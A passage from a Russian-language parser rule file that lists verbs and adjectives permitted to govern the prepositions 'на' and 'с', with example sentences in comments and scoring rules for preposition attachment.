прилагательное:действительный{}, // Прививка оспы действительна только на три года.
rus_verbs:спуститься{}, // На город спустился смог
прилагательное:нечистый{}, // Он нечист на руку.
прилагательное:неспособный{}, // Он неспособен на такую низость.
прилагательное:злой{}, // кот очень зол на хозяина
rus_verbs:пойти{}, // Девочка не пошла на урок физультуры
rus_verbs:прибывать{}, // мой поезд прибывает на первый путь
rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу
rus_verbs:идти{}, // Дело идёт на лад.
rus_verbs:лазить{}, // Он лазил на чердак.
rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры.
// rus_verbs:действовать{}, // действующий на нервы
rus_verbs:выходить{}, // Балкон выходит на площадь.
rus_verbs:работать{}, // Время работает на нас.
глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина.
rus_verbs:бросить{}, // Они бросили все силы на строительство.
// глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков.
rus_verbs:броситься{}, // Она радостно бросилась мне на шею.
rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью.
rus_verbs:ответить{}, // Она не ответила на мой поклон.
rus_verbs:нашивать{}, // Она нашивала заплату на локоть.
rus_verbs:молиться{}, // Она молится на свою мать.
rus_verbs:запереть{}, // Она заперла дверь на замок.
rus_verbs:заявить{}, // Она заявила свои права на наследство.
rus_verbs:уйти{}, // Все деньги ушли на путешествие.
rus_verbs:вступить{}, // Водолаз вступил на берег.
rus_verbs:сойти{}, // Ночь сошла на землю.
rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано.
rus_verbs:рыдать{}, // Не рыдай так безумно над ним.
rus_verbs:подписать{}, // Не забудьте подписать меня на газету.
rus_verbs:держать{}, // Наш пароход держал курс прямо на север.
rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира.
rus_verbs:ехать{}, // Мы сейчас едем на завод.
rus_verbs:выбросить{}, // Волнами лодку выбросило на берег.
ГЛ_ИНФ(сесть), // сесть на снег
ГЛ_ИНФ(записаться),
ГЛ_ИНФ(положить) // положи книгу на стол
}
#endregion VerbList
// Чтобы разрешить связывание в паттернах типа: залить на youtube
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} }
then return true
}
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } }
then return true
}
// смещаться на несколько миллиметров
fact гл_предл
{
if context { Гл_НА_Вин предлог:на{} наречие:*{} }
then return true
}
// партия взяла на себя нереалистичные обязательства
fact гл_предл
{
if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} }
then return true
}
#endregion ВИНИТЕЛЬНЫЙ
// Все остальные варианты с предлогом 'НА' по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:вин } }
then return false,-4
}
// Этот вариант нужен для обработки конструкций с числительными:
// Президентские выборы разделили Венесуэлу на два непримиримых лагеря
fact гл_предл
{
if context { * предлог:на{} *:*{ падеж:род } }
then return false,-4
}
// Продавать на eBay
fact гл_предл
{
if context { * предлог:на{} * }
then return false,-6
}
#endregion Предлог_НА
#region Предлог_С
// ------------- ПРЕДЛОГ 'С' -----------------
// У этого предлога предпочтительная семантика привязывает его обычно к существительному.
// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
